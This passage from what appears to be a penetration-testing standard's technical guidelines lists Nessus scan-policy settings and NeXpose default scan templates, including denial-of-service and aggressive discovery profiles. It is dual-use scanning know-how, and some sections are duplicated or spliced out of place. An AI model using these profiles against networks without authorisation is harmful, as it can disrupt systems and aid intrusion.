Network Receive Timeout (seconds)	5

Max Simultaneous TCP Sessions Per Host	Unlimited
Max Simultaneous TCP Sessions Per Scan	Unlimited

Credentials

The Credentials tab, allows us to configure the Nessus scanner to use authentication credentials during scanning. For our policy we will not edit any of the settings within this section. They are however documented to ensure completeness.

Windows credentials	**Setting**
SMB account	Blank
SMB password	Blank
SMB domain (optional)	Blank
SMB password type	Password
Additional SMB account (1)	Blank
Additional SMB password (1)	Blank
Additional SMB domain (optional)(1)	Blank
Additional SMB account (2)	Blank
Additional SMB password (2)	Blank
Additional SMB domain (optional)(2)	Blank
Additional SMB account (3)	Blank
Additional SMB password (3)	Blank
Additional SMB domain (optional)(3)	Blank
Never send SMB credentials in clear text	Checked
Only use NTLMv2	Unchecked
SSH Settings	**Setting**
SSH user name	root
SSH password (unsafe!)	Blank
SSH public key to use	Blank
SSH private key to use	Blank
Passphrase for SSH key	Blank
Elevate privileges with	Nothing
su login	Blank
Escalation password	Blank

SSH known_hosts file	Blank
Preferred SSH port	22
Client version	OpenSSH_5.0
Kerberos configuration	**Settings**
Kerberos Key Distribution Center (KDC)	Blank
Kerberos KDC Port	88
Kerberos KDC Transport	UDP
Kerberos Realm (SSH only)	Blank
Cleartext protocols settings	**Settings**
User name	Blank
Password (unsafe!)	Blank
Try to perform patch level checks over telnet	Unchecked
Try to perform patch level checks over rsh	Unchecked
Try to perform patch level checks over rexec	Unchecked

Plugins

The Plugins tab, allows us to choose specific security checks by plugin family or individual checks that we want to enable. The easiest way to set this is to select the "Enable All" button from the main Plugins tab, however this assumes the Safe Checks is selected from the General Tab.

Preferences

The Preferences tab allows for more granular control over scan settings. All items in this category should be. The actual settings have been defined as indicated below:

Cisco IOS Compliance Checks	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Database Compliance Checks	**Setting**
Policy file #1	Blank

Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Database Settings	**Setting**
Login	Blank
Password	Blank
DB Type	Oracle
Database SID	Blank
Database port to use	Blank
Oracle auth type	NORMAL
SQL Server auth type	Windows
Do not scan fragile devices	**Setting**
Scan Network Printers	Unchecked
Scan Novell Netware hosts	Unchecked
Global variable settings	**Setting**
Probe services on every port	Checked
Do not log in with user accounts not specified in the policy	Unchecked
Enable CGI scanning	Checked
Network type	Mixed (use RFC 1918)
Enable experimental scripts	Unchecked
Thorough tests (slow)	Unchecked
Report verbosity	Normal
Report paranoia	Normal
HTTP User-Agent	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
SSL certificate to use	Blank
SSL CA to trust	Blank
SSL key to use	Blank
SSL password for SSL key	Blank

HTTP cookies import	**Settings**
Cookies file	Blank
HTTP login page	**Settings**
Login page	/
Login form	Blank
Login form fields	user=%USER%&password=%PASS%
Login form method	POST
Re-authenticate delay (seconds)	Blank
Check authentication on page	Blank
Follow 30x redirections (# of levels)	2
Authenticated regex	Blank
Invert test (disconnected if regex matches)	Unchecked
Match regex on HTTP headers	Unchecked
Case insensitive regex	Unchecked
ICCP/COTP TSAP Addressing	**Settings**
Start COTP TSAP	8
Stop COTP TSAP	8
Login configurations	**Settings**
HTTP account	Blank
HTTP password (sent in clear)	Blank
NNTP account	Blank
NNTP password (sent in clear)	Blank
FTP account	Anonymous
FTP password (sent in clear)	
FTP writeable directory	/incoming
POP2 account	Blank
POP2 password (sent in clear)	Blank
POP3 account	Blank
POP3 password (sent in clear)	Blank
IMAP account	Blank
IMAP password (sent in clear)	Blank

Modbus/TCP Coil Access	**Settings**
Start reg	0
End reg	16
Nessus SYN scanner	**Settings**
Firewall detection	Automatic (normal)
Nessus TCP scanner	**Settings**
Firewall detection	Automatic (normal)
News Server (NNTP) Information Disclosure	**Settings**
From address	Nessus <listme@listme.dsbl.org>
Test group name regex	f[a-z]\.tests?
Max crosspost	7
Local distribution	Checked
No archive	Unchecked
Nikto (NASL wrapper)	**Settings**
Enable Nikto	Checked
Disable if server never replies 404	Unchecked
Root directory	Blank
Pause between tests (s)	Blank
Scan CGI directories	User supplied
Display: 1 Show redirects	Unchecked
Display: 2 Show cookies received	Unchecked
Display: 3 Show all 200/OK responses	Unchecked
Display: 4 Show URLs which require authentication	Unchecked
Display: V Verbose Output	Unchecked
Tuning: 1 Interesting File/Seen in logs	Unchecked
Tuning: 2 Misconfiguration / Default File	Unchecked
Tuning: 3 Information Disclosure	Unchecked
Tuning: 4 Injection (XSS/Script/HTML)	Unchecked

Oracle Settings	**Settings**
Oracle SID	Blank
Test default accounts (slow)	Unchecked
PCI DSS Compliance	**Settings**
Check for PCI-DSS compliance	Unchecked
Ping the remote host	**Settings**
TCP ping destination port(s)	Built-in
Do an ARP ping	Checked
Do a TCP ping	Checked
Do an ICMP ping	Checked
Number of Retries (ICMP)	2
Do an applicative UDP ping (DNS, RPCÖ)	Unchecked
Make the dead hosts appear in the report	Unchecked
Log live hosts in the report	Unchecked
Test the local Nessus host	Checked
Fast network discovery	Unchecked
Port scanners settings	**Settings**
Check open TCP ports found by local port enumerators	Unchecked
Only run network port scanners if local port enumeration failed	Checked
SMB Registry: Start the Registry Service during the scan	**Settings**
Start the Registry Service during the scan	Unchecked
SMB Scope	**Settings**
Request information about the domain	Checked
SMB use domain SID to enumerate users	**Settings**
Start UID	1000

End UID	1200
SMB use host SID to enumerate local users	**Settings**
Start UID	1000
End UID	1200
SMTP settings	**Settings**
Third party domain	Example.com
From address	nobody@example.com
To address	postmaster@[AUTO_REPLACED_IP]
SNMP settings	**Settings**
Community name	Public
UDP port	161
SNMPv3 user name	Blank
SNMPv3 authentication password	Blank
SNMPv3 authentication algorithm	MD5
SNMPv3 privacy password	Blank
SNMPv3 privacy algorithm	DES
Service Detection	**Settings**
Test SSL based services	Known SSL ports
Unix Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Web Application Tests Settings	**Settings**
Enable web applications tests	Checked
Maximum run time (min)	1
Send POST requests	Unchecked

Combinations of arguments values	one value
HTTP Parameter Pollution	Unchecked
Stop at first flaw	Per port (quicker)
Test embedded web servers	Unchecked
URL for Remote File Inclusion	http://rfi.nessus.org/rfi.txt
Web mirroring	**Settings**
Number of pages to mirror	0
Maximum depth	0
Start page	/
Excluded items regex	*
Follow dynamic pages	Unchecked
Windows Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Windows File Contents Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank

Appendix E - NeXpose Default Templates

Denial of service

Description: This basic audit of all network assets uses both safe and unsafe (denial-of-service) checks. This scan does not include in-depth patch/hotfix checking, policy compliance checking, or application-layer auditing.

Why use this template: You can run a denial of service scan in a preproduction environments to test the resistance of assets to denial-of service conditions.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 80

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: Well known numbers + 1-1040

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: Local, patch, policy check types

Discovery scan

Description: This scan locates live assets on the network and identifies their host names and operating systems. NeXpose does not perform enumeration, policy, or vulnerability scanning with this template.

Why use this template: You can run a discovery scan to compile a complete list of all network assets. Afterward, you can target subsets of these assets for intensive vulnerability scans, such as with the Exhaustive scan template.

Device/vulnerability scan: Y/N

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 21, 22, 23, 25, 80, 88, 110, 111, 135, 139, 143, 220, 264, 389, 443, 445, 449, 524, 585, 636, 993, 995, 1433, 1521, 1723, 3389, 8080, 9100

UDP ports used for device discovery: 53,67,111,135,137,161,500,1701

Device discovery performance: 5 ms send delay, 2 retries, 3000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: 21, 22, 23, 25, 80, 110, 139, 143,220, 264, 443, 445, 449, 524, 585, 993, 995, 1433, 1521, 1723, 8080, 9100

TCP port scan performance: 0 ms send delay, 25 blocks, 500 ms block delay, 3 retries

UDP ports to scan: 161, 500

Simultaneous port scans: 10

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: None

Discovery scan (aggressive)

Description: This fast, cursory scan locates live assets on high-speed networks and identifies their host names and operating systems. NeXpose sends packets at a very high rate, which may trigger IPS/IDS sensors, SYN flood protection, and exhaust states on stateful firewalls. NeXpose does not perform enumeration, policy, or vulnerability scanning with this template.

Why use this template: This template is identical in scope to the discovery scan, except that it uses more threads and is, therefore, much faster. The tradeoff is that scans run with this template may not be as thorough as with the Discovery scan template.

Device/vulnerability scan: Y/N

Maximum # scan threads: 25

ICMP (Ping hosts): Y

TCP ports used for device discovery: 21, 22, 23, 25, 80, 88, 110, 111, 135, 139, 143, 220, 264, 389, 443, 445, 449, 524, 585, 636, 993, 995, 1433, 1521, 1723, 3389, 8080, 9100

UDP ports used for device discovery: 53, 67, 111, 135, 137, 161, 500, 1701

Device discovery performance: 0 ms send delay, 2 retries, 3000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: 21, 22, 23, 25, 80, 110, 139, 143, 220, 264, 443, 445, 449, 524, 585, 993, 995, 1433, 1521, 1723, 8080, 9100

TCP port scan performance: 0 ms send delay, 25 blocks, 500 ms block delay, 3 retries

UDP ports to scan: 161, 500

Simultaneous port scans: 25

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: None

Exhaustive

Description: This thorough network scan of all systems and services uses only safe checks, including patch/hotfix inspections, policy compliance assessments, and application-layer auditing. This scan could take several hours, or even days, to complete, depending on the number of target assets.

Why use this template: Scans run with this template are thorough, but slow. Use this template to run intensive scans targeting a low number of assets.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

I**CMP (Ping hosts):** Y

TCP ports used for device discovery: 80

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: NeXpose determines optimal method

TCP optimizer ports: 21, 23, 25, 80, 110, 111, 135, 139, 443, 445, 449, 8080

TCP ports to scan: All possible (1-65535)

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: None

Full audit

Description: This full network audit of all systems uses only safe checks, including network-based vulnerabilities, patch/hotfix checking, and application-layer auditing. NeXpose scans only default ports and disables policy checking, which makes scans faster than with the Exhaustive scan. Also, NeXpose does not check for potential vulnerabilities with this template.

Why use this template: This is the default NeXpose scan template. Use it to run a fast, thorough vulnerability scan right "out of the box."

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 80

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: Well known numbers + 1-1040

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: Policy check type

HIPAA compliance

Description: NeXpose uses safe checks in this audit of compliance with HIPAA section 164.312 ("Technical Safeguards"). The scan will flag any conditions resulting in inadequate access control, inadequate auditing, loss of integrity, inadequate authentication, or inadequate transmission security (encryption) .

Why use this template: Use this template to scan assets in a HIPAA-regulated environment, as part of a HIPAA compliance program.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 80

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: Well known numbers +

1-1040

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: None

Internet DMZ audit

Description: This penetration test covers all common Internet services, such as Web, FTP, mail (SMTP/POP/IMAP/Lotus Notes), DNS, database, Telnet, SSH, and VPN. NeXpose does not perform in-depth patch/hotfix checking and policy compliance audits will not be performed.

Why use this template: Use this template to scan assets in your DMZ.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): N

TCP ports used for device discovery: None

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: Well-known numbers

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: None

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): DNS, database, FTP, Lotus Notes/Domino, Mail, SSH, TFTP, Telnet, VPN, Web check categories

Specific vulnerability checks disabled: None

Linux RPMs

Description: This scan verifies proper installation of RPM patches on Linux systems. For optimum success, use administrative credentials.

Why use this template: Use this template to scan assets running the Linux operating system.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 22, 23

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: 22, 23

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: None

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): RPM check type

Specific vulnerability checks disabled: None

Microsoft hotfix

Description: This scan verifies proper installation of hotfixes and service packs on Microsoft Windows systems. For optimum success, use administrative credentials.

Why use this template: Use this template to verify that assets running Windows have hotfix patches installed on them.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 135, 139, 445, 1433, 2400

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: 135, 139, 445, 1433, 2433

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: None

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): Microsoft hotfix check type

Specific vulnerability checks disabled: None

Payment Card Industry (PCI) audit

Description: This audit of Payment Card Industry (PCI) compliance uses only safe checks, including network-based vulnerabilities, patch/hotfix verification, and application-layer testing. NeXpose scans all TCP ports and well-known UDP ports. NeXpose does not perform policy checks.

Why use this template: Use this template to scan assets as part of a PCI compliance program.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 22, 23, 25, 80, 443

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: All possible (1-65535)

TCP port scan performance: 1 ms send delay, 5 blocks, 15 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: Policy check types

Penetration test

Description: This in-depth scan of all systems uses only safe checks. Host-discovery and network penetration features allow NeXpose to dynamically detect assets that might not otherwise be detected. NeXpose does not perform in-depth patch/hotfix checking, policy compliance checking, or application-layer auditing .

Why use this template: With this template, you may discover assets that are out of your initial scan scope. Also, running a scan with this template is helpful as a precursor to conducting formal penetration test procedures.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 21, 22, 23, 25, 80, 443, 8080

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: NeXpose determines optimal method

TCP optimizer ports: 21, 23, 25, 80, 110, 111, 135, 139, 443, 445, 449, 8080

TCP ports to scan: Well known numbers + 1-1040

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: Local, patch, policy check types

Penetration test

Description: This in-depth scan of all systems uses only safe checks. Host-discovery and network penetration features allow NeXpose to dynamically detect assets that might not otherwise be detected. NeXpose does not perform in-depth patch/hotfix checking, policy compliance checking, or application-layer auditing.

Why use this template: With this template, you may discover assets that are out of your initial scan scope. Also, running a scan with this template is helpful as a precursor to conducting formal penetration test procedures.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 21, 22, 23, 25, 80, 443, 8080

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: NeXpose determines optimal method

TCP optimizer ports: 21, 23, 25, 80, 110, 111, 135, 139, 443, 445, 449, 8080

TCP ports to scan: Well known numbers + 1-1040

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: Local, patch, policy check types

Safe network audit

Description: This non-intrusive scan of all network assets uses only safe checks. NeXpose does not perform in-depth patch/hotfix checking, policy compliance checking, or application-layer auditing.

Why use this template: This template is useful for a quick, general scan of your network.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 80

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: Well known numbers + 1-1040

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: Local, patch, policy check types

Sarbanes-Oxley (SOX) compliance

Description: This is a safe-check

Sarbanes-Oxley (SOX) audit of all systems. It detects threats to digital data integrity, data access auditing, accountability, and availability, as mandated in Section 302 ("Corporate Responsibility for Fiscal Reports"), Section 404 ("Management Assessment of Internal Controls"), and Section 409 ("Real Time Issuer Disclosures") respectively.

Why use this template: Use this template to scan assets as part of a SOX compliance program.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): Y

TCP ports used for device discovery: 80

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: Well known numbers + 1-1040

SCADA audit

Description: This is a "polite," or less aggressive, network audit of sensitive Supervisory Control And Data Acquisition (SCADA) systems, using only safe checks. Packet block delays have been increased; time between sent packets has been increased; protocol handshaking has been disabled; and simultaneous

network access to assets has been restricted.

Why use this template: Use this template to scan SCADA systems.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 5

ICMP (Ping hosts): Y

TCP ports used for device discovery: None

UDP ports used for device discovery: None

Device discovery performance: 10 ms send delay, 3 retries, 2000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: Well known numbers + 1-1040

TCP port scan performance: 10 ms send delay, 10 blocks, 10 ms block delay, 4 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: Policy check type**TCP port scan performance:** 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: Well-known numbers

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): None

Specific vulnerability checks disabled: None

Web audit

Description: This audit of all Web servers and Web applications is suitable public-facing and internal assets, including application servers, ASP's, and CGI scripts. NeXpose does not perform patch checking or policy compliance audits. Nor does it scan FTP servers, mail servers, or database servers, as is the case with the DMZ Audit scan template.

Why use this template: Use this template to scan public-facing Web assets.

Device/vulnerability scan: Y/Y

Maximum # scan threads: 10

ICMP (Ping hosts): N

TCP ports used for device discovery: None

UDP ports used for device discovery: None

Device discovery performance: 5 ms send delay, 4 retries, 1000 ms block timeout

TCP port scan method: Stealth scan (SYN)

TCP optimizer ports: None

TCP ports to scan: Well-known numbers

TCP port scan performance: 0 ms send delay, 10 blocks, 10 ms block delay, 5 retries

UDP ports to scan: None

Simultaneous port scans: 5

Specific vulnerability checks enabled (which disables all other checks): Web category check

Specific vulnerability checks disabled: None

Retrieved from "http://www.pentest-standard.org/index.php?title=PTES_Technical_Guidelines&oldid=921"

This page was last edited on 30 April 2012, at 06:04.

Content is available under GNU Free Documentation License 1.2 unless otherwise noted.